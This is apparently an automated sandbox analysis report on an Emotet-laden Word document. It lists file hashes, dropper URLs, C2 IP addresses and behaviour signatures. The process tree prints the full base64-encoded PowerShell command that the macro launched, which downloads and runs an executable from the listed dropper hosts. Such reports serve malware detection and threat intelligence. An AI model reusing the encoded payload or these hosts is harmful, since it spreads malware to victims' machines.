Analysis
-
max time kernel
148s -
max time network
100s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
01-08-2020 19:37
General
-
Target
SecuriteInfo.com.Exploit.Siggen2.12914.10524.8198.doc
-
Size
172KB
-
MD5
cb5ae32dad8e346441d6f2cfbeb37637
-
SHA1
bb6f200969dc8840eca595912d6059b51b610772
-
SHA256
1358d1f876b1e3ab67933105eacb4778c2a17172b49668ef373de791731b641b
-
SHA512
bbfb553fdb30da962ac3524beaf408ce775bdb09c0fd3de5462892d08d5a949740cf7e116d0672791212cdf2fd174bfdbd8300552707e2ae5dec8cc44df910a3
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://jambino.us/tv/DYsPb/
exe.dropper
http://www.kappetijn.eu/wp-admin/t5Uujywz88/
exe.dropper
http://killingworthlabs.com/wp-admin/n3tq5u168132549/
exe.dropper
http://kevinley.com/logon/LXkUb/
exe.dropper
http://movewithketty.com/cgi-bin/HISOotVOG/
Extracted
Family
emotet
C2
187.64.128.197:80
198.57.203.63:8080
163.172.107.70:8080
212.112.113.235:80
157.7.164.178:8081
181.167.35.84:80
212.156.133.218:80
185.142.236.163:443
181.143.101.19:8080
75.127.14.170:8080
115.165.3.213:80
190.55.233.156:80
139.59.12.63:8080
144.139.91.187:80
37.70.131.107:80
181.113.229.139:443
41.185.29.128:8080
177.37.81.212:443
5.79.70.250:8080
78.188.170.128:80
rsa_pubkey.plain
Signatures
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
-
Drops file in System32 directory 2 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Blacklisted process makes network request 2 IoCs
-
Executes dropped EXE 2 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12914.10524.8198.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAFEAQQBJAFcAcwB2AHUAPQAnAEUAVwBGAEYARABtAGQAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAWQBQAGAAUgBgAG8AVABvAGAAYwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABDAEcASwBaAFIAZgBqAG4AIAA9ACAAJwA3ADAAMQAnADsAJABLAEEAQwBIAEsAcwB1AHQAPQAnAFgARABYAEkAWQBqAGoAZAAnADsAJABZAFMAUwBYAEgAbQBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEMARwBLAFoAUgBmAGoAbgArACcALgBlAHgAZQAnADsAJABQAFcAQQBCAE0AaABlAHYAPQAnAFcAQwBYAFcAUABuAGcAYwAnADsAJABPAFIATQBFAEYAeQBhAGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEgASQBQAFEAQgBqAHgAYQA9ACcAaAB0AHQAcAA6AC8ALwBqAGEAbQBiAGkAbgBvAC4AdQBzAC8AdAB2AC8ARABZAHMAUABiAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AawBhAHAAcABlAHQAaQBqAG4ALgBlAHUALwB3AHAALQBhAGQAbQBpAG4ALwB0ADUAVQB1AGoAeQB3AHoAOAA4AC8AKgBoAHQAdABwADoALwAvAGsAaQBsAGwAaQBuAGcAdwBvAHIAdABoAGwAYQBiAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AMwB0AHEANQB1ADEANgA4ADEAMwAyADUANAA5AC8AKgBoAHQAdABwADoALwAvAGsAZQB2AGkAbgBsAGUAeQAuAGMAbwBtAC8AbABvAGcAbwBuAC8ATABYAGsAVQBiAC8AKgBoAHQAdABwADoALwAvAG0AbwB2AGUAdwBpAHQAaABrAGUAdAB0AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBIAEkAUwBPAG8AdABWAE8ARwAvACcALgAiAFMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBJAFEAUABCAHkAZAB4AD0AJwBHAE4ASABWAFUAaQBpAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFgAVQBEAFMATABnAGEAdAAgAGkAbgAgACQASABJAFAAUQBCAGoAeABhACkAewB0AHIAeQB7ACQATwBSAE0ARQBGAHkAYQBrAC4AIgBkAG8AVwBOAGAATABPAGEAYABEAEYAaQBMAGUAIgAoACQAWABVAEQAUwBMAGcAYQB0ACwAIAAkAFkAUwBTAFgASABtAGoAcgApADsAJABEAEkATwBVAEMAcABoAHgAPQAnAFUAQQBPAEsAQwB2AG4AdQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAUwBTAFgASABtAGoAcgApAC4AIgBMAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMANQA5ADMAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIARQBgAEEAVABlACIAKAAkAFkAUwBTAFgASABtAGoAcgApADsAJABaAFYAQgBYAE8AZwB5AGgAPQAnAEIASQBQAE8AQwByAGMAdQAnADsAYgByAGUAYQBrADsAJABUAEcAQQBJAEQAaQBpAHgAPQAnAFYASwBNAEkAWgBuAGQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAEsAWgBPAEQAaABkAHcAPQAnAEYATABMAFQAQQBiAGYAYgAnAA==1⤵
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
-
C:\Users\Admin\701.exeC:\Users\Admin\701.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\dxgi\pidgenx.exe"C:\Windows\SysWOW64\dxgi\pidgenx.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\701.exe
-
C:\Users\Admin\701.exe
-
C:\Windows\SysWOW64\dxgi\pidgenx.exe
-
memory/532-10-0x00000000003F0000-0x00000000003FC000-memory.dmpFilesize
48KB
-
memory/604-2-0x00000000089D0000-0x00000000089D4000-memory.dmpFilesize
16KB
-
memory/604-4-0x0000000006DB0000-0x0000000006FB0000-memory.dmpFilesize
2.0MB
-
memory/604-5-0x000000000ADE0000-0x000000000ADE4000-memory.dmpFilesize
16KB
-
memory/604-6-0x000000000BE60000-0x000000000BE64000-memory.dmpFilesize
16KB
-
memory/1304-11-0x0000000000000000-mapping.dmp
-
memory/1304-13-0x00000000003E0000-0x00000000003EC000-memory.dmpFilesize
48KB